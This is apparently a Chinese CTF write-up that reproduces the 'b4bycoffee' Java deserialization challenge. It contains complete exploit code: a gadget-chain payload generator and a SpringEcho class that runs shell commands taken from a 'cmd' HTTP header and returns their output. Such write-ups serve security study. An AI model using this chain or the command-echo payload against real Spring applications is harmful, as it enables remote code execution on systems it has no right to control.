首页 > 其他分享 >【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

时间:2024-03-17 17:58:37浏览次数:36  
标签:Web commands java String invoke 2022 new import b4bycoffee

目录

前言

环境准备

简单分析

EXP


前言

本地jar包运行打通了,远程500,感觉靶机环境有问题,不纠结(

主要记录下做题过程,纯菜狗,小白文

环境准备

这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目

需要进行如下的处理

先是对jar包进行解压

用jadx-gui打开

 

 

 

 

简单分析

先来看pom

比较刺眼的是Rome依赖,还有spring可能会用于写内存马

接着注意到/b4by/coffee路由,此处便是反序列化入口

 

AntObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类

好在EqualsBean还是在的,依然可以配合HashMap来触发ToString

此外AntObjectInputStream还重写了resolveClass,就是配合黑名单用的

现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?

“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”

我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。

那这不就易如反掌易如反掌了吗(

手搓链子(不会tabby,锐意学习中)

java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

 

EXP

记得pom里再导一个javassist依赖

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>

 GenPayload.java

package com.example.b4bycoffee.exp;

import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class GenPayload {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static String getPayLoad() throws Exception {
        byte[] code = ClassPool.getDefault().get(SpringEcho.class.getName()).toBytecode();
        CoffeeBean coffeeBean = new CoffeeBean();
        setFieldValue(coffeeBean, "ClassByte", code);

        EqualsBean equalsBean = new EqualsBean(String.class, "test");

        HashMap map = new HashMap();
        map.put(equalsBean, "xxx");
        setFieldValue(equalsBean, "obj", coffeeBean);
        setFieldValue(equalsBean, "beanClass", CoffeeBean.class);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
        return payload;
    }

    public static void main(String[] args) throws Exception {
        getPayLoad();
    }
}

SpringEcho.java

不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ

命令执行用下面SpringEcho类来回显

(参考链接:java回显学习 | 现科信息安全协会)

package com.example.b4bycoffee.exp;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }

    }
}

header注入cmd即可

标签:Web,commands,java,String,invoke,2022,new,import,b4bycoffee
From: https://blog.csdn.net/uuzeray/article/details/136781454

相关文章

  • 【webhack123】域靶场渗透
    环境部署攻击机:kali(192.168.101.141)web服务器:windows(外网ip:192.168.101.139)(内网ip:10.10.10.150)域控服务器DC:windows2016(内网ip:10.10.10.149)一、信息收集1、在kali中使用Nmap扫描ip和端口nmap-sT192.168.101.0/24扫描网段,获取目标ipnmap-A192.168.101.139扫描目......
  • web后端-java框架-spring Boot
    springBootweb入门:1)创建springboot工程此处我使用的jdk版本为11,在选择版本时,如果服务器URL为https://start.spring.io ,那么java下拉选项中只有17或者21,因此将服务器URL为https://start.aliyun.com\即可点击下一步,将springWeb依赖添加进去。HTTP协议:1)请求协议: 2)......
  • Web后端开发-Maven篇
       1)配置本地仓库:打开maven文件中的conf文件夹,点击setting.xml 用文本编辑器打开,为了方便管理,直接在maven文件夹中新建一个mav_repo文件,作为本地仓库。将该目录复制到图中对应的内容中。 2)配置阿里云私服:加快下载速度 在setting.xml文件中找到mirror,将以下内容......
  • JavaWeb - HTML基础
    常用标签font文本标签<fontface="黑体"color="#0099FF">黑体效果</font><fontsize="3"color="#990000">3号文字效果</font><!--face=字体样式,color=颜色,size:字体大小-->p段落标签、br换行标签本段落内容...<p>第二段内容<......
  • Web3系列之2-Grass小草撸Airdrop
    0、有wifi就能zuanqian,现在每积分0.003......
  • web通信协议
    正式进入网站部署的学习web通信流程client工作流程TCP/IP协议OSI七层网络模型抓包工具,查看TCP/IP的三次握手经典的问题,你了解TCP/IP的三次握手四次挥手吗具体数据包的报文格式,暂时不用过多去琢磨;什么时候需要琢磨数据包的序列号,只有当你在生产环境下,遇见的及其......
  • 访问JavaWeb项目没有返回任何内容
     一、问题由来一位朋友最近在学习JavaWeb开发时遇到一个问题,某次他在测试,去访问项目下面的html文件时,发现没有任何响应信息。他感觉到很是奇怪,自己尝试着去解决这个问题,一直没有找到问题。二、问题分析我让他把项目发过来看看,把项目启动起来后,在Webapp目录下创建一个......
  • SQLpage 基于sql 开发website 的工具
    SQLpage属于一个低代码工具,让我们可以通过sql开发web站点包含的特点简单美观快速包含了比较丰富的web组件同时也提供了一些基本的功能,比如认证,变量,运行sql,读取文件面向的人群业务分析 可以基于动态处理数据科学 原型以及分析市场人员工程师产品管理人员教育......
  • 【Qt】使用Qt实现Web服务器(一):QtWebApp介绍、演示
    1、简介QtWepApp是使用Qt实现的Web服务器库,虽然名字中有“App”但是它的确是一个lib库,编译生产的是libQtWebAppd.so作者开发QtWepApp是从JavaServlet获得的灵感,本人不懂Java,对本人没有帮助。QtWepApp是一个跨平台的项目,适用于:Linux、Windows、MacOS和QtFramework支......
  • 【Qt】使用Qt实现Web服务器(二):QtWebApp示例源码
    1、最简使用介绍Demo2演示了最简单的用法,输入url后返回“HelloWorld!”;下面详解示例代码,先看主函数1.1主函数#a)QtWebApp库中定义的名字空间stefanfringsusingnamespacestefanfrings;intmain(intargc,char*argv[]){......